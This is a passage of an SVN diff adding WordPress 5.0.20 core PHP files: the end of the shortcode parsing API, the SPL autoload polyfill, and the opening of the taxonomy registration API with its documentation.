+		.     ')?'
+		. ')'
+		. '(\\]?)';                          // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
+}
+
+/**
+ * Regular Expression callable for do_shortcode() for calling shortcode hook.
+ * @see get_shortcode_regex for details of the match array contents.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @global array $shortcode_tags
+ *
+ * @param array $m Regular expression match array
+ * @return string|false False on failure.
+ */
+function do_shortcode_tag( $m ) {
+	global $shortcode_tags;
+
+	// allow [[foo]] syntax for escaping a tag
+	if ( $m[1] == '[' && $m[6] == ']' ) {
+		return substr($m[0], 1, -1);
+	}
+
+	$tag = $m[2];
+	$attr = shortcode_parse_atts( $m[3] );
+
+	if ( ! is_callable( $shortcode_tags[ $tag ] ) ) {
+		/* translators: %s: shortcode tag */
+		$message = sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag );
+		_doing_it_wrong( __FUNCTION__, $message, '4.3.0' );
+		return $m[0];
+	}
+
+	/**
+	 * Filters whether to call a shortcode callback.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit the
+	 * shortcode generation process, returning that value instead.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param bool|string $return      Short-circuit return value. Either false or the value to replace the shortcode with.
+	 * @param string       $tag         Shortcode name.
+	 * @param array|string $attr        Shortcode attributes array or empty string.
+	 * @param array        $m           Regular expression match array.
+	 */
+	$return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m );
+	if ( false !== $return ) {
+		return $return;
+	}
+
+	$content = isset( $m[5] ) ? $m[5] : null;
+
+	$output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6];
+
+	/**
+	 * Filters the output created by a shortcode callback.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string       $output Shortcode output.
+	 * @param string       $tag    Shortcode name.
+	 * @param array|string $attr   Shortcode attributes array or empty string.
+	 * @param array        $m      Regular expression match array.
+	 */
+	return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m );
+}
+
+/**
+ * Search only inside HTML elements for shortcodes and process them.
+ *
+ * Any [ or ] characters remaining inside elements will be HTML encoded
+ * to prevent interference with shortcodes that are outside the elements.
+ * Assumes $content processed by KSES already.  Users with unfiltered_html
+ * capability may get unexpected output if angle braces are nested in tags.
+ *
+ * @since 4.2.3
+ *
+ * @param string $content Content to search for shortcodes
+ * @param bool $ignore_html When true, all square braces inside elements will be encoded.
+ * @param array $tagnames List of shortcodes to find.
+ * @return string Content with shortcodes filtered out.
+ */
+function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) {
+	// Normalize entities in unfiltered HTML before adding placeholders.
+	$trans = array( '&#91;' => '&#091;', '&#93;' => '&#093;' );
+	$content = strtr( $content, $trans );
+	$trans = array( '[' => '&#91;', ']' => '&#93;' );
+
+	$pattern = get_shortcode_regex( $tagnames );
+	$textarr = wp_html_split( $content );
+
+	foreach ( $textarr as &$element ) {
+		if ( '' == $element || '<' !== $element[0] ) {
+			continue;
+		}
+
+		$noopen = false === strpos( $element, '[' );
+		$noclose = false === strpos( $element, ']' );
+		if ( $noopen || $noclose ) {
+			// This element does not contain shortcodes.
+			if ( $noopen xor $noclose ) {
+				// Need to encode stray [ or ] chars.
+				$element = strtr( $element, $trans );
+			}
+			continue;
+		}
+
+		if ( $ignore_html || '<!--' === substr( $element, 0, 4 ) || '<![CDATA[' === substr( $element, 0, 9 ) ) {
+			// Encode all [ and ] chars.
+			$element = strtr( $element, $trans );
+			continue;
+		}
+
+		$attributes = wp_kses_attr_parse( $element );
+		if ( false === $attributes ) {
+			// Some plugins are doing things like [name] <[email]>.
+			if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) {
+				$element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element );
+			}
+
+			// Looks like we found some crazy unfiltered HTML.  Skipping it for sanity.
+			$element = strtr( $element, $trans );
+			continue;
+		}
+
+		// Get element name
+		$front = array_shift( $attributes );
+		$back = array_pop( $attributes );
+		$matches = array();
+		preg_match('%[a-zA-Z0-9]+%', $front, $matches);
+		$elname = $matches[0];
+
+		// Look for shortcodes in each attribute separately.
+		foreach ( $attributes as &$attr ) {
+			$open = strpos( $attr, '[' );
+			$close = strpos( $attr, ']' );
+			if ( false === $open || false === $close ) {
+				continue; // Go to next attribute.  Square braces will be escaped at end of loop.
+			}
+			$double = strpos( $attr, '"' );
+			$single = strpos( $attr, "'" );
+			if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) {
+				// $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html.
+				// In this specific situation we assume KSES did not run because the input
+				// was written by an administrator, so we should avoid changing the output
+				// and we do not need to run KSES here.
+				$attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr );
+			} else {
+				// $attr like 'name = "[shortcode]"' or "name = '[shortcode]'"
+				// We do not know if $content was unfiltered. Assume KSES ran before shortcodes.
+				$count = 0;
+				$new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count );
+				if ( $count > 0 ) {
+					// Sanitize the shortcode output using KSES.
+					$new_attr = wp_kses_one_attr( $new_attr, $elname );
+					if ( '' !== trim( $new_attr ) ) {
+						// The shortcode is safe to use now.
+						$attr = $new_attr;
+					}
+				}
+			}
+		}
+		$element = $front . implode( '', $attributes ) . $back;
+
+		// Now encode any remaining [ or ] chars.
+		$element = strtr( $element, $trans );
+	}
+
+	$content = implode( '', $textarr );
+
+	return $content;
+}
+
+/**
+ * Remove placeholders added by do_shortcodes_in_html_tags().
+ *
+ * @since 4.2.3
+ *
+ * @param string $content Content to search for placeholders.
+ * @return string Content with placeholders removed.
+ */
+function unescape_invalid_shortcodes( $content ) {
+        // Clean up entire string, avoids re-parsing HTML.
+        $trans = array( '&#91;' => '[', '&#93;' => ']' );
+        $content = strtr( $content, $trans );
+
+        return $content;
+}
+
+/**
+ * Retrieve the shortcode attributes regex.
+ *
+ * @since 4.4.0
+ *
+ * @return string The shortcode attribute regular expression
+ */
+function get_shortcode_atts_regex() {
+	return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/';
+}
+
+/**
+ * Retrieve all attributes from the shortcodes tag.
+ *
+ * The attributes list has the attribute name as the key and the value of the
+ * attribute as the value in the key/value pair. This allows for easier
+ * retrieval of the attributes, since all attributes have to be known.
+ *
+ * @since 2.5.0
+ *
+ * @param string $text
+ * @return array|string List of attribute values.
+ *                      Returns empty array if trim( $text ) == '""'.
+ *                      Returns empty string if trim( $text ) == ''.
+ *                      All other matches are checked for not empty().
+ */
+function shortcode_parse_atts($text) {
+	$atts = array();
+	$pattern = get_shortcode_atts_regex();
+	$text = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text);
+	if ( preg_match_all($pattern, $text, $match, PREG_SET_ORDER) ) {
+		foreach ($match as $m) {
+			if (!empty($m[1]))
+				$atts[strtolower($m[1])] = stripcslashes($m[2]);
+			elseif (!empty($m[3]))
+				$atts[strtolower($m[3])] = stripcslashes($m[4]);
+			elseif (!empty($m[5]))
+				$atts[strtolower($m[5])] = stripcslashes($m[6]);
+			elseif (isset($m[7]) && strlen($m[7]))
+				$atts[] = stripcslashes($m[7]);
+			elseif (isset($m[8]) && strlen($m[8]))
+				$atts[] = stripcslashes($m[8]);
+			elseif (isset($m[9]))
+				$atts[] = stripcslashes($m[9]);
+		}
+
+		// Reject any unclosed HTML elements
+		foreach( $atts as &$value ) {
+			if ( false !== strpos( $value, '<' ) ) {
+				if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) {
+					$value = '';
+				}
+			}
+		}
+	} else {
+		$atts = ltrim($text);
+	}
+	return $atts;
+}
+
+/**
+ * Combine user attributes with known attributes and fill in defaults when needed.
+ *
+ * The pairs should be considered to be all of the attributes which are
+ * supported by the caller and given as a list. The returned attributes will
+ * only contain the attributes in the $pairs list.
+ *
+ * If the $atts list has unsupported attributes, then they will be ignored and
+ * removed from the final returned list.
+ *
+ * @since 2.5.0
+ *
+ * @param array  $pairs     Entire list of supported attributes and their defaults.
+ * @param array  $atts      User defined attributes in shortcode tag.
+ * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering
+ * @return array Combined and filtered attribute list.
+ */
+function shortcode_atts( $pairs, $atts, $shortcode = '' ) {
+	$atts = (array)$atts;
+	$out = array();
+	foreach ($pairs as $name => $default) {
+		if ( array_key_exists($name, $atts) )
+			$out[$name] = $atts[$name];
+		else
+			$out[$name] = $default;
+	}
+	/**
+	 * Filters a shortcode's default attributes.
+	 *
+	 * If the third parameter of the shortcode_atts() function is present then this filter is available.
+	 * The third parameter, $shortcode, is the name of the shortcode.
+	 *
+	 * @since 3.6.0
+	 * @since 4.4.0 Added the `$shortcode` parameter.
+	 *
+	 * @param array  $out       The output array of shortcode attributes.
+	 * @param array  $pairs     The supported attributes and their defaults.
+	 * @param array  $atts      The user defined shortcode attributes.
+	 * @param string $shortcode The shortcode name.
+	 */
+	if ( $shortcode ) {
+		$out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode );
+	}
+
+	return $out;
+}
+
+/**
+ * Remove all shortcode tags from the given content.
+ *
+ * @since 2.5.0
+ *
+ * @global array $shortcode_tags
+ *
+ * @param string $content Content to remove shortcode tags.
+ * @return string Content without shortcode tags.
+ */
+function strip_shortcodes( $content ) {
+	global $shortcode_tags;
+
+	if ( false === strpos( $content, '[' ) ) {
+		return $content;
+	}
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	// Find all registered tag names in $content.
+	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
+
+	$tags_to_remove = array_keys( $shortcode_tags );
+
+	/**
+	 * Filters the list of shortcode tags to remove from the content.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $tag_array Array of shortcode tags to remove.
+	 * @param string $content   Content shortcodes are being removed from.
+	 */
+	$tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content );
+
+	$tagnames = array_intersect( $tags_to_remove, $matches[1] );
+
+	if ( empty( $tagnames ) ) {
+		return $content;
+	}
+
+	$content = do_shortcodes_in_html_tags( $content, true, $tagnames );
+
+	$pattern = get_shortcode_regex( $tagnames );
+	$content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content );
+
+	// Always restore square braces so we don't break things like <!--[if IE ]>
+	$content = unescape_invalid_shortcodes( $content );
+
+	return $content;
+}
+
+/**
+ * Strips a shortcode tag based on RegEx matches against post content.
+ *
+ * @since 3.3.0
+ *
+ * @param array $m RegEx matches against post content.
+ * @return string|false The content stripped of the tag, otherwise false.
+ */
+function strip_shortcode_tag( $m ) {
+	// allow [[foo]] syntax for escaping a tag
+	if ( $m[1] == '[' && $m[6] == ']' ) {
+		return substr($m[0], 1, -1);
+	}
+
+	return $m[1] . $m[6];
+}
Index: /tags/5.0.20/src/wp-includes/spl-autoload-compat.php
===================================================================
--- /tags/5.0.20/src/wp-includes/spl-autoload-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/spl-autoload-compat.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Polyfill for SPL autoload feature. This file is separate to prevent compiler notices
+ * on the deprecated __autoload() function.
+ *
+ * See https://core.trac.wordpress.org/ticket/41134
+ *
+ * @package PHP
+ * @access private
+ */
+
+if ( ! function_exists( 'spl_autoload_register' ) ) {
+	$_wp_spl_autoloaders = array();
+
+	/**
+	 * Autoloader compatibility callback.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $classname Class to attempt autoloading.
+	 */
+	function __autoload( $classname ) {
+		global $_wp_spl_autoloaders;
+		foreach ( $_wp_spl_autoloaders as $autoloader ) {
+			if ( ! is_callable( $autoloader ) ) {
+				// Avoid the extra warning if the autoloader isn't callable.
+				continue;
+			}
+
+			call_user_func( $autoloader, $classname );
+
+			// If it has been autoloaded, stop processing.
+			if ( class_exists( $classname, false ) ) {
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Registers a function to be autoloaded.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param callable $autoload_function The function to register.
+	 * @param bool     $throw             Optional. Whether the function should throw an exception
+	 *                                    if the function isn't callable. Default true.
+	 * @param bool     $prepend           Whether the function should be prepended to the stack.
+	 *                                    Default false.
+	 */
+	function spl_autoload_register( $autoload_function, $throw = true, $prepend = false ) {
+		if ( $throw && ! is_callable( $autoload_function ) ) {
+			// String not translated to match PHP core.
+			throw new Exception( 'Function not callable' );
+		}
+
+		global $_wp_spl_autoloaders;
+
+		// Don't allow multiple registration.
+		if ( in_array( $autoload_function, $_wp_spl_autoloaders ) ) {
+			return;
+		}
+
+		if ( $prepend ) {
+			array_unshift( $_wp_spl_autoloaders, $autoload_function );
+		} else {
+			$_wp_spl_autoloaders[] = $autoload_function;
+		}
+	}
+
+	/**
+	 * Unregisters an autoloader function.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param callable $function The function to unregister.
+	 * @return bool True if the function was unregistered, false if it could not be.
+	 */
+	function spl_autoload_unregister( $function ) {
+		global $_wp_spl_autoloaders;
+		foreach ( $_wp_spl_autoloaders as &$autoloader ) {
+			if ( $autoloader === $function ) {
+				unset( $autoloader );
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Retrieves the registered autoloader functions.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return array List of autoloader functions.
+	 */
+	function spl_autoload_functions() {
+		return $GLOBALS['_wp_spl_autoloaders'];
+	}
+}
Index: /tags/5.0.20/src/wp-includes/taxonomy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/taxonomy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/taxonomy.php	(revision 56912)
@@ -0,0 +1,4334 @@
+<?php
+/**
+ * Core Taxonomy API
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ */
+
+//
+// Taxonomy Registration
+//
+
+/**
+ * Creates the initial taxonomies.
+ *
+ * This function fires twice: in wp-settings.php before plugins are loaded (for
+ * backward compatibility reasons), and again on the {@see 'init'} action. We must
+ * avoid registering rewrite rules before the {@see 'init'} action.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Rewrite $wp_rewrite The WordPress rewrite class.
+ */
+function create_initial_taxonomies() {
+	global $wp_rewrite;
+
+	if ( ! did_action( 'init' ) ) {
+		$rewrite = array( 'category' => false, 'post_tag' => false, 'post_format' => false );
+	} else {
+
+		/**
+		 * Filters the post formats rewrite base.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $context Context of the rewrite base. Default 'type'.
+		 */
+		$post_format_base = apply_filters( 'post_format_rewrite_base', 'type' );
+		$rewrite = array(
+			'category' => array(
+				'hierarchical' => true,
+				'slug' => get_option('category_base') ? get_option('category_base') : 'category',
+				'with_front' => ! get_option('category_base') || $wp_rewrite->using_index_permalinks(),
+				'ep_mask' => EP_CATEGORIES,
+			),
+			'post_tag' => array(
+				'hierarchical' => false,
+				'slug' => get_option('tag_base') ? get_option('tag_base') : 'tag',
+				'with_front' => ! get_option('tag_base') || $wp_rewrite->using_index_permalinks(),
+				'ep_mask' => EP_TAGS,
+			),
+			'post_format' => $post_format_base ? array( 'slug' => $post_format_base ) : false,
+		);
+	}
+
+	register_taxonomy( 'category', 'post', array(
+		'hierarchical' => true,
+		'query_var' => 'category_name',
+		'rewrite' => $rewrite['category'],
+		'public' => true,
+		'show_ui' => true,
+		'show_admin_column' => true,
+		'_builtin' => true,
+		'capabilities' => array(
+			'manage_terms' => 'manage_categories',
+			'edit_terms'   => 'edit_categories',
+			'delete_terms' => 'delete_categories',
+			'assign_terms' => 'assign_categories',
+		),
+		'show_in_rest' => true,
+		'rest_base' => 'categories',
+		'rest_controller_class' => 'WP_REST_Terms_Controller',
+	) );
+
+	register_taxonomy( 'post_tag', 'post', array(
+	 	'hierarchical' => false,
+		'query_var' => 'tag',
+		'rewrite' => $rewrite['post_tag'],
+		'public' => true,
+		'show_ui' => true,
+		'show_admin_column' => true,
+		'_builtin' => true,
+		'capabilities' => array(
+			'manage_terms' => 'manage_post_tags',
+			'edit_terms'   => 'edit_post_tags',
+			'delete_terms' => 'delete_post_tags',
+			'assign_terms' => 'assign_post_tags',
+		),
+		'show_in_rest' => true,
+		'rest_base' => 'tags',
+		'rest_controller_class' => 'WP_REST_Terms_Controller',
+	) );
+
+	register_taxonomy( 'nav_menu', 'nav_menu_item', array(
+		'public' => false,
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => __( 'Navigation Menus' ),
+			'singular_name' => __( 'Navigation Menu' ),
+		),
+		'query_var' => false,
+		'rewrite' => false,
+		'show_ui' => false,
+		'_builtin' => true,
+		'show_in_nav_menus' => false,
+	) );
+
+	register_taxonomy( 'link_category', 'link', array(
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => __( 'Link Categories' ),
+			'singular_name' => __( 'Link Category' ),
+			'search_items' => __( 'Search Link Categories' ),
+			'popular_items' => null,
+			'all_items' => __( 'All Link Categories' ),
+			'edit_item' => __( 'Edit Link Category' ),
+			'update_item' => __( 'Update Link Category' ),
+			'add_new_item' => __( 'Add New Link Category' ),
+			'new_item_name' => __( 'New Link Category Name' ),
+			'separate_items_with_commas' => null,
+			'add_or_remove_items' => null,
+			'choose_from_most_used' => null,
+			'back_to_items' => __( '&larr; Back to Link Categories' ),
+		),
+		'capabilities' => array(
+			'manage_terms' => 'manage_links',
+			'edit_terms'   => 'manage_links',
+			'delete_terms' => 'manage_links',
+			'assign_terms' => 'manage_links',
+		),
+		'query_var' => false,
+		'rewrite' => false,
+		'public' => false,
+		'show_ui' => true,
+		'_builtin' => true,
+	) );
+
+	register_taxonomy( 'post_format', 'post', array(
+		'public' => true,
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => _x( 'Format', 'post format' ),
+			'singular_name' => _x( 'Format', 'post format' ),
+		),
+		'query_var' => true,
+		'rewrite' => $rewrite['post_format'],
+		'show_ui' => false,
+		'_builtin' => true,
+		'show_in_nav_menus' => current_theme_supports( 'post-formats' ),
+	) );
+}
+
+/**
+ * Retrieves a list of registered taxonomy names or objects.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param array  $args     Optional. An array of `key => value` arguments to match against the taxonomy objects.
+ *                         Default empty array.
+ * @param string $output   Optional. The type of output to return in the array. Accepts either taxonomy 'names'
+ *                         or 'objects'. Default 'names'.
+ * @param string $operator Optional. The logical operation to perform. Accepts 'and' or 'or'. 'or' means only
+ *                         one element from the array needs to match; 'and' means all elements must match.
+ *                         Default 'and'.
+ * @return array A list of taxonomy names or objects.
+ */
+function get_taxonomies( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_taxonomies;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_taxonomies, $args, $operator, $field);
+}
+
+/**
+ * Return the names or objects of the taxonomies which are registered for the requested object or object type, such as
+ * a post object or post type name.
+ *
+ * Example:
+ *
+ *     $taxonomies = get_object_taxonomies( 'post' );
+ *
+ * This results in:
+ *
+ *     Array( 'category', 'post_tag' )
+ *
+ * @since 2.3.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param array|string|WP_Post $object Name of the type of taxonomy object, or an object (row from posts)
+ * @param string               $output Optional. The type of output to return in the array. Accepts either
+ *                                     taxonomy 'names' or 'objects'. Default 'names'.
+ * @return array The names of all taxonomy of $object_type.
+ */
+function get_object_taxonomies( $object, $output = 'names' ) {
+	global $wp_taxonomies;
+
+	if ( is_object($object) ) {
+		if ( $object->post_type == 'attachment' )
+			return get_attachment_taxonomies( $object, $output );
+		$object = $object->post_type;
+	}
+
+	$object = (array) $object;
+
+	$taxonomies = array();
+	foreach ( (array) $wp_taxonomies as $tax_name => $tax_obj ) {
+		if ( array_intersect($object, (array) $tax_obj->object_type) ) {
+			if ( 'names' == $output )
+				$taxonomies[] = $tax_name;
+			else
+				$taxonomies[ $tax_name ] = $tax_obj;
+		}
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Retrieves the taxonomy object of $taxonomy.
+ *
+ * The get_taxonomy function will first check that the parameter string given
+ * is a taxonomy object and if it is, it will return it.
+ *
+ * @since 2.3.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param string $taxonomy Name of taxonomy object to return.
+ * @return WP_Taxonomy|false The Taxonomy Object or false if $taxonomy doesn't exist.
+ */
+function get_taxonomy( $taxonomy ) {
+	global $wp_taxonomies;
+
+	if ( ! taxonomy_exists( $taxonomy ) )
+		return false;
+
+	return $wp_taxonomies[$taxonomy];
+}
+
+/**
+ * Determines whether the taxonomy name exists.
+ *
+ * Formerly is_taxonomy(), introduced in 2.3.0.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_taxonomies The registered taxonomies.
+ *
+ * @param string $taxonomy Name of taxonomy object.
+ * @return bool Whether the taxonomy exists.
+ */
+function taxonomy_exists( $taxonomy ) {
+	global $wp_taxonomies;
+
+	return isset( $wp_taxonomies[$taxonomy] );
+}
+
+/**
+ * Determines whether the taxonomy object is hierarchical.
+ *
+ * Checks to make sure that the taxonomy is an object first. Then Gets the
+ * object, and finally returns the hierarchical value in the object.
+ *
+ * A false return value might also mean that the taxonomy does not exist.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.3.0
+ *
+ * @param string $taxonomy Name of taxonomy object.
+ * @return bool Whether the taxonomy is hierarchical.
+ */
+function is_taxonomy_hierarchical($taxonomy) {
+	if ( ! taxonomy_exists($taxonomy) )
+		return false;
+
+	$taxonomy = get_taxonomy($taxonomy);
+	return $taxonomy->hierarchical;
+}
+
+/**
+ * Creates or modifies a taxonomy object.
+ *
+ * Note: Do not use before the {@see 'init'} hook.
+ *
+ * A simple function for creating or modifying a taxonomy object based on
+ * the parameters given. If modifying an existing taxonomy object, note
+ * that the `$object_type` value from the original registration will be
+ * overwritten.
+ *
+ * @since 2.3.0
+ * @since 4.2.0 Introduced `show_in_quick_edit` argument.
+ * @since 4.4.0 The `show_ui` argument is now enforced on the term editing screen.
+ * @since 4.4.0 The `public` argument now controls whether the taxonomy can be queried on the front end.
+ * @since 4.5.0 Introduced `publicly_queryable` argument.
+ * @since 4.7.0 Introduced `show_in_rest`, 'rest_base' and 'rest_controller_class'
+ *              arguments to register the Taxonomy in REST API.
+ *
+ * @global array $wp_taxonomies Registered taxonomies.
+ *
+ * @param string       $taxonomy    Taxonomy key, must not exceed 32 characters.
+ * @param array|string $object_type Object type or array of object types with which the taxonomy should be associated.
+ * @param array|string $args        {
+ *     Optional. Array or query string of arguments for registering a taxonomy.
+ *
+ *     @type array         $labels                An array of labels for this taxonomy. By default, Tag labels are
+ *                                                used for non-hierarchical taxonomies, and Category labels are used
+ *                                                for hierarchical taxonomies. See accepted values in
+ *                                                get_taxonomy_labels(). Default empty array.
+ *     @type string        $description           A short descriptive summary of what the taxonomy is for. Default empty.
+ *     @type bool          $public                Whether a taxonomy is intended for use publicly either via
+ *                                                the admin interface or by front-end users. The default settings
+ *                                                of `$publicly_queryable`, `$show_ui`, and `$show_in_nav_menus`
+ *                                                are inherited from `$public`.
+ *     @type bool          $publicly_queryable    Whether the taxonomy is publicly queryable.
+ *                                                If not set, the default is inherited from `$public`
+ *     @type bool          $hierarchical          Whether the taxonomy is hierarchical. Default false.
+ *     @type bool          $show_ui               Whether to generate and allow a UI for managing terms in this taxonomy in
+ *                                                the admin. If not set, the default is inherited from `$public`
+ *                                                (default true).
+ *     @type bool          $show_in_menu          Whether to show the taxonomy in the admin menu. If true, the taxonomy is
+ *                                                shown as a submenu of the object type menu. If false, no menu is shown.
+ *                                                `$show_ui` must be true. If not set, default is inherited from `$show_ui`
+ *                                                (default true).
+ *     @type bool          $show_in_nav_menus     Makes this taxonomy available for selection in navigation menus. If not
+ *                                                set, the default is inherited from `$public` (default true).
+ *     @type bool          $show_in_rest          Whether to include the taxonomy in the REST API.
+ *     @type string        $rest_base             To change the base url of REST API route. Default is $taxonomy.
+ *     @type string        $rest_controller_class REST API Controller class name. Default is 'WP_REST_Terms_Controller'.
+ *     @type bool          $show_tagcloud         Whether to list the taxonomy in the Tag Cloud Widget controls. If not set,
+ *                                                the default is inherited from `$show_ui` (default true).
+ *     @type bool          $show_in_quick_edit    Whether to show the taxonomy in the quick/bulk edit panel. It not set,
+ *                                                the default is inherited from `$show_ui` (default true).
+ *     @type bool          $show_admin_column     Whether to display a column for the taxonomy on its post type listing
+ *                                                screens. Default false.
+ *     @type bool|callable $meta_box_cb           Provide a callback function for the meta box display. If not set,
+ *                                                post_categories_meta_box() is used for hierarchical taxonomies, and
+ *                                                post_tags_meta_box() is used for non-hierarchical. If false, no meta
+ *                                                box is shown.
+ *     @type array         $capabilities {
+ *         Array of capabilities for this taxonomy.
+ *
+ *         @type string $manage_terms Default 'manage_categories'.
+ *         @type string $edit_terms   Default 'manage_categories'.
+ *         @type string $delete_terms Default 'manage_categories'.
+ *         @type string $assign_terms Default 'edit_posts'.
+ *     }
+ *     @type bool|array    $rewrite {
+ *         Triggers the handling of rewrites for this taxonomy. Default true, using $taxonomy as slug. To prevent
+ *         rewrite, set to false. To specify rewrite rules, an array can be passed with any of these keys:
+ *
+ *         @type string $slug         Customize the permastruct slug. Default `$taxonomy` key.
+ *         @type bool   $with_front   Should the permastruct be prepended with WP_Rewrite::$front. Default true.
+ *         @type bool   $hierarchical Either hierarchical rewrite tag or not. Default false.
+ *         @type int    $ep_mask      Assign an endpoint mask. Default `EP_NONE`.
+ *     }
+ *     @type string        $query_var             Sets the query var key for this taxonomy. Default `$taxonomy` key. If
+ *                                                false, a taxonomy cannot be loaded at `?{query_var}={term_slug}`. If a
+ *                                                string, the query `?{query_var}={term_slug}` will be valid.
+ *     @type callable      $update_count_callback Works much like a hook, in that it will be called when the count is
+ *                                                updated. Default _update_post_term_count() for taxonomies attached
+ *                                                to post types, which confirms that the objects are published before
+ *                                                counting them. Default _update_generic_term_count() for taxonomies
+ *                                                attached to other object types, such as users.
+ *     @type bool          $_builtin              This taxonomy is a "built-in" taxonomy. INTERNAL USE ONLY!
+ *                                                Default false.
+ * }
+ * @return WP_Error|void WP_Error, if errors.
+ */
+function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
+	global $wp_taxonomies;
+
+	if ( ! is_array( $wp_taxonomies ) )
+		$wp_taxonomies = array();
+
+	$args = wp_parse_args( $args );
+
+	if ( empty( $taxonomy ) || strlen( $taxonomy ) > 32 ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Taxonomy names must be between 1 and 32 characters in length.' ), '4.2.0' );
+		return new WP_Error( 'taxonomy_length_invalid', __( 'Taxonomy names must be between 1 and 32 characters in length.' ) );
+	}
+
+	$taxonomy_object = new WP_Taxonomy( $taxonomy, $object_type, $args );
+	$taxonomy_object->add_rewrite_rules();
+
+	$wp_taxonomies[ $taxonomy ] = $taxonomy_object;
+
+	$taxonomy_object->add_hooks();
+
+
+	/**
+	 * Fires after a taxonomy is registered.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string       $taxonomy    Taxonomy slug.
+	 * @param array|string $object_type Object type or array of object types.
+	 * @param array        $args        Array of taxonomy registration arguments.
+	 */
+	do_action( 'registered_taxonomy', $taxonomy, $object_type, (array) $taxonomy_object );
+}
+
+/**
+ * Unregisters a taxonomy.
+ *
+ * Can not be used to unregister built-in taxonomies.
+ *
+ * @since 4.5.0
+ *
+ * @global WP    $wp            Current WordPress environment instance.
+ * @global array $wp_taxonomies List of taxonomies.
+ *
+ * @param string $taxonomy Taxonomy name.
+ * @return bool|WP_Error True on success, WP_Error on failure or if the taxonomy doesn't exist.
+ */
+function unregister_taxonomy( $taxonomy ) {
+	if ( ! taxonomy_exists( $taxonomy ) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	$taxonomy_object = get_taxonomy( $taxonomy );
+
+	// Do not allow unregistering internal taxonomies.
+	if ( $taxonomy_object->_builtin ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Unregistering a built-in taxonomy is not allowed.' ) );
+	}
+
+	global $wp_taxonomies;
+
+	$taxonomy_object->remove_rewrite_rules();
+	$taxonomy_object->remove_hooks();
+
+	// Remove the taxonomy.
+	unset( $wp_taxonomies[ $taxonomy ] );
+
+	/**
+	 * Fires after a taxonomy is unregistered.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $taxonomy Taxonomy name.
+	 */
+	do_action( 'unregistered_taxonomy', $taxonomy );
+
+	return true;
+}
+
+/**
+ * Builds an object with all taxonomy labels out of a taxonomy object.
+ *
+ * @since 3.0.0
+ * @since 4.3.0 Added the `no_terms` label.
+ * @since 4.4.0 Added the `items_list_navigation` and `items_list` labels.
+ * @since 4.9.0 Added the `most_used` and `back_to_items` labels.
+ *
+ * @param WP_Taxonomy $tax Taxonomy object.
+ * @return object {
+ *     Taxonomy labels object. The first default value is for non-hierarchical taxonomies
+ *     (like tags) and the second one is for hierarchical taxonomies (like categories).
+ *
